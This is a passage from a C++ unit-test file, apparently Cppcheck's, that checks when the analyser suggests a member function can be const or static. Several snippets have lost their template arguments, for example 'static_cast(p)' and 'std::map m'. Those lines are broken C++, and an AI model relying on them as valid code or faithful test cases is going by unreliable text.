q[2]);\\n\"\n \"};\\n\"\n \"void S::f(const int p[2], int q[2]) {\\n\"\n \" q[0] = p[0];\\n\"\n \" q[1] = p[1];\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const86() { // #11621\n checkConst(\"struct S { int* p; };\\n\"\n \"struct T { int m; int* p; };\\n\"\n \"struct U {\\n\"\n \" int i;\\n\"\n \" void f() { S s = { &i }; }\\n\"\n \" void g() { int* a[] = { &i }; }\\n\"\n \" void h() { T t = { 1, &i }; }\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const87() {\n checkConst(\"struct Tokenizer {\\n\" // #11720\n \" bool isCPP() const {\\n\"\n \" return cpp;\\n\"\n \" }\\n\"\n \" bool cpp;\\n\"\n \"};\\n\"\n \"struct Check {\\n\"\n \" const Tokenizer* const mTokenizer;\\n\"\n \" const int* const mSettings;\\n\"\n \"};\\n\"\n \"struct CheckA : Check {\\n\"\n \" static bool test(const std::string& funcname, const int* settings, bool cpp);\\n\"\n \"};\\n\"\n \"struct CheckB : Check {\\n\"\n \" bool f(const std::string& s);\\n\"\n \"};\\n\"\n \"bool CheckA::test(const std::string& funcname, const int* settings, bool cpp) {\\n\"\n \" return !funcname.empty() && settings && cpp;\\n\"\n \"}\\n\"\n \"bool CheckB::f(const std::string& s) {\\n\"\n \" return CheckA::test(s, mSettings, mTokenizer->isCPP());\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:15:10] -> [test.cpp:20:14]: (style, inconclusive) Technically the member function 'CheckB::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"void g(int&);\\n\"\n \"struct S {\\n\"\n \" struct { int i; } a[1];\\n\"\n \" void f() { g(a[0].i); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int&);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" const int& g() const { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, const int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" int& g() { return i; }\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void h(int, int*);\\n\"\n \"struct T {\\n\"\n \" S s;\\n\"\n \" int j;\\n\"\n \" void f() { h(j, &s.g()); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void j(int** x);\\n\"\n \"void k(int* const* y);\\n\"\n \"struct S {\\n\"\n \" int* p;\\n\"\n \" int** q;\\n\"\n \" int* const* r;\\n\"\n \" void f1() { j(&p); }\\n\"\n \" void f2() { j(q); }\\n\"\n \" void g1() { k(&p); }\\n\"\n \" void g2() { k(q); }\\n\"\n \" void g3() { k(r); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"void m(int*& r);\\n\"\n \"void n(int* const& s);\\n\"\n \"struct T {\\n\"\n \" int i;\\n\"\n \" int* p;\\n\"\n \" void f1() { m(p); }\\n\"\n \" void f2() { n(&i); }\\n\"\n \" void f3() { n(p); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const88() { // #11626\n checkConst(\"struct S {\\n\"\n \" bool f() { return static_cast(p); }\\n\"\n \" const int* g() { return const_cast(p); }\\n\"\n \" const int* h() { return (const int*)p; }\\n\"\n \" char* j() { return reinterpret_cast(p); }\\n\"\n \" char* k() { return (char*)p; }\\n\"\n \" int* p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:3:16]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:4:16]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct S {\\n\"\n \" bool f() { return p != nullptr; }\\n\"\n \" std::shared_ptr p;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const89() {\n checkConst(\"struct S {\\n\" // #11654\n \" void f(bool b);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(bool b) {\\n\"\n \" if (i && b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10] -> [test.cpp:5:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\"\n \" void f(int& r);\\n\"\n \" int i;\\n\"\n \"};\\n\"\n \"void S::f(int& r) {\\n\"\n \" r = 0;\\n\"\n \" if (i)\\n\"\n \" f(i);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #11744\n \" S* p;\\n\"\n \" int f() {\\n\"\n \" if (p)\\n\"\n \" return 1 + p->f();\\n\"\n \" return 1;\\n\"\n \" }\\n\"\n \" int g(int i) {\\n\"\n \" if (i > 0)\\n\"\n \" return i + g(i - 1);\\n\"\n \" return 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:8:9]: (performance, inconclusive) Technically the member function 'S::g' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n\n checkConst(\"class C {\\n\" // #11653\n \"public:\\n\"\n \" void f(bool b) const;\\n\"\n \"};\\n\"\n \"void C::f(bool b) const {\\n\"\n \" if (b)\\n\"\n \" f(false);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10] -> [test.cpp:5:9]: (performance, inconclusive) Technically the member function 'C::f' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\",\n errout_str());\n }\n\n void const90() { // #11637\n checkConst(\"class S {};\\n\"\n \"struct C {\\n\"\n \" C(const S*);\\n\"\n \" C(const S&);\\n\"\n \"};\\n\"\n \"class T {\\n\"\n \" S s;\\n\"\n \" void f1() { C c = C{ &s }; }\\n\"\n \" void f2() { C c = C{ s }; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:8:10]: (style, inconclusive) Technically the member function 'T::f1' can be const. [functionConst]\\n\"\n \"[test.cpp:9:10]: (style, inconclusive) Technically the member function 'T::f2' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const91() { // #11790\n checkConst(\"struct S {\\n\"\n \" char* p;\\n\"\n \" template \\n\"\n \" T* get() {\\n\"\n \" return reinterpret_cast(p);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"const int* f(S& s) {\\n\"\n \" return s.get();\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const92() { // #11886\n checkConst(\"void g(int);\\n\"\n \"template\\n\"\n \"struct S : public S {\\n\"\n \" void f() {\\n\"\n \" g(n - 1);\\n\"\n \" }\\n\"\n \"};\\n\"\n \"template<>\\n\"\n \"struct S<0> {};\\n\"\n \"struct D : S<150> {};\\n\");\n // don't hang\n }\n\n void const93() { // #12162\n checkConst(\"struct S {\\n\"\n \" bool f() {\\n\"\n \" return m.cbegin()->first == 0;\\n\"\n \" }\\n\"\n \" bool g() {\\n\"\n \" return m.count(0);\\n\"\n \" }\\n\"\n \" std::map m;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:5:10]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const94() { // #7459\n checkConst(\"class A {\\n\"\n \"public:\\n\"\n \" A() : tickFunction(&A::nop) {}\\n\"\n \" void tick() { (this->*tickFunction)(); }\\n\"\n \"private:\\n\"\n \" typedef void (A::* Fn)();\\n\"\n \" Fn tickFunction;\\n\"\n \" void nop() {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const95() { // #13320\n checkConst(\"class C {\\n\"\n \" std::string x;\\n\"\n \" std::string get() && { return x; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const96() {\n checkConst(\"struct S : B {\\n\" // #13282\n \" bool f() { return b; }\\n\"\n \" bool g() override { return b; }\\n\"\n \" bool b;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (style, inconclusive) Either there is a missing 'override', or the member function 'S::f' can be const. [functionConst]\\n\", errout_str());\n\n checkConst(\"struct B;\\n\" // #13382\n \"struct S : B {\\n\"\n \" void f();\\n\"\n \"};\\n\"\n \"void S::f() {\\n\"\n \" B::g(0);\\n\"\n \"}\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const97() { // #13301\n checkConst(\"struct S {\\n\"\n \" std::vector v;\\n\"\n \" int f() {\\n\"\n \" const int& r = v.front();\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" int g() {\\n\"\n \" const int& r = v.at(0);\\n\"\n \" return r;\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" if (v.front() == 0) {}\\n\"\n \" if (1 == v.front()) {}\\n\"\n \" }\\n\"\n \" void i() {\\n\"\n \" v.at(0) = 0;\\n\"\n \" }\\n\"\n \" void j() {\\n\"\n \" dostuff(1, v.at(0));\\n\"\n \" }\\n\"\n \" void k() {\\n\"\n \" int& r = v.front();\\n\"\n \" r = 0;\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:9]: (style, inconclusive) Technically the member function 'S::f' can be const. [functionConst]\\n\"\n \"[test.cpp:7:9]: (style, inconclusive) Technically the member function 'S::g' can be const. [functionConst]\\n\"\n \"[test.cpp:11:10]: (style, inconclusive) Technically the member function 'S::h' can be const. [functionConst]\\n\",\n errout_str());\n\n checkConst(\"struct B { std::string s; };\\n\"\n \"struct D : B {\\n\"\n \" bool f(std::string::iterator it) { return it == B::s.begin(); }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (style, inconclusive) Technically the member function 'D::f' can be const. [functionConst]\\n\",\n errout_str());\n }\n\n void const98() { // #13642\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set(int* p) {\\n\"\n \" *p = 1;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f() {\\n\"\n \" set(reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void g() {\\n\"\n \" set(reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void h() {\\n\"\n \" set((int*)(&e));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"enum E {\\n\"\n \" E0,\\n\"\n \" E1\\n\"\n \"};\\n\"\n \"void set1(int i, int* p) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"void set2(int* p, int i) {\\n\"\n \" *p = i;\\n\"\n \"}\\n\"\n \"struct S {\\n\"\n \" E e;\\n\"\n \" void f1() {\\n\"\n \" set1(1, reinterpret_cast(&e));\\n\"\n \" }\\n\"\n \" void f2() {\\n\"\n \" set2(reinterpret_cast(&e), 1);\\n\"\n \" }\\n\"\n \" void g1() {\\n\"\n \" set1(1, reinterpret_cast(reinterpret_cast(&e)));\\n\"\n \" }\\n\"\n \" void g2() {\\n\"\n \" set2(reinterpret_cast(reinterpret_cast(&e)), 1);\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const99() {\n checkConst(\"typedef void (*InitFunc)(void**);\\n\" // #13953\n \"struct S {\\n\"\n \" int *m;\\n\"\n \" void f(InitFunc func) {\\n\"\n \" func(reinterpret_cast(&m));\\n\"\n \" }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void const100() {\n checkConst(\"struct S {\\n\" // #14023\n \" void f() { ++i; }\\n\"\n \" void f() const {}\\n\"\n \" int i;\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct S {\\n\" // #14033\n \" void f();\\n\"\n \" void f() const {}\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str()); // don't crash\n }\n\n void const_handleDefaultParameters() {\n checkConst(\"struct Foo {\\n\"\n \" void foo1(int i, int j = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar1() {\\n\"\n \" return foo1(1);\\n\"\n \" }\\n\"\n \" int bar2() {\\n\"\n \" return foo1(1, 2);\\n\"\n \" }\\n\"\n \" int bar3() {\\n\"\n \" return foo1(1, 2, 3);\\n\"\n \" }\\n\"\n \" int bar4() {\\n\"\n \" return foo1();\\n\"\n \" }\\n\"\n \" void foo2(int i = 0) {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar5() {\\n\"\n \" return foo2();\\n\"\n \" }\\n\"\n \" void foo3() {\\n\"\n \" return func(this);\\n\"\n \" }\\n\"\n \" int bar6() {\\n\"\n \" return foo3();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:11:9]: (performance, inconclusive) Technically the member function 'Foo::bar3' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\"\n \"[test.cpp:14:9]: (performance, inconclusive) Technically the member function 'Foo::bar4' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void const_passThisToMemberOfOtherClass() {\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Bar b;\\n\"\n \" b.takeFoo(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct Foo {\\n\"\n \" void foo() {\\n\"\n \" Foo f;\\n\"\n \" f.foo();\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:2:10]: (performance, inconclusive) Technically the member function 'Foo::foo' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A;\\n\" // #5839 - operator()\n \"struct B {\\n\"\n \" void operator()(A *a);\\n\"\n \"};\\n\"\n \"struct A {\\n\"\n \" void dostuff() {\\n\"\n \" B()(this);\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningPointerToPointerIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" int** v;\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v = 0;\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void assigningArrayElementIsNotAConstOperation() {\n checkConst(\"struct s\\n\"\n \"{\\n\"\n \" ::std::string v[3];\\n\"\n \" void f()\\n\"\n \" {\\n\"\n \" v[0] = \\\"Happy new year!\\\";\\n\"\n \" }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement => not const\n void constincdec() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct S {\\n\" // #10077\n \" int i{};\\n\"\n \" S& operator ++() { ++i; return *this; }\\n\"\n \" S operator ++(int) { S s = *this; ++(*this); return s; }\\n\"\n \" void f() { (*this)--; }\\n\"\n \"};\\n\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n void constassign1() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassign2() {\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" struct A { int a; } s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; } s;\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"struct A { int a; };\\n\"\n \"class Fred {\\n\"\n \" A s;\\n\"\n \" void nextA() { return s.a/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // increment/decrement array element => not const\n void constincdecarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return ++a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return --a[0]; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]++; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]--; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n void constassignarray() {\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"class Fred {\\n\"\n \" int a[2];\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]-=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]+=1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]*=-1; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n\n checkConst(\"int a[2];\\n\"\n \"class Fred {\\n\"\n \" void nextA() { return a[0]/=-2; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"[test.cpp:3:10]: (performance, inconclusive) Technically the member function 'Fred::nextA' can be static (but you may consider moving to unnamed namespace). [functionStatic]\\n\", errout_str());\n }\n\n // return pointer/reference => not const\n void constReturnReference() {\n checkConst(\"class Fred {\\n\"\n \" int a;\\n\"\n \" int &getR() { return a; }\\n\"\n \" int *getP() { return &a; }\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // delete member variable => not const (but technically it can, it compiles without errors)\n void constDelete() {\n checkConst(\"class Fred {\\n\"\n \" int *a;\\n\"\n \" void clean() { delete a; }\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // A function that returns unknown types can't be const (#1579)\n void constLPVOID() {\n checkConst(\"class Fred {\\n\"\n \" UNKNOWN a() { return 0; };\\n\"\n \"};\");\n TODO_ASSERT_EQUALS(\"[test.cpp:2]: (performance, inconclusive) Technically the member function 'Fred::a' can be static.\\n\", \"\", errout_str());\n\n // #1579 - HDC\n checkConst(\"class Fred {\\n\"\n \" foo bar;\\n\"\n \" UNKNOWN a() { return b; };\\n\"\n \"};\");\n ASSERT_EQUALS(\"\", errout_str());\n }\n\n // a function that calls const functions can be const\n void 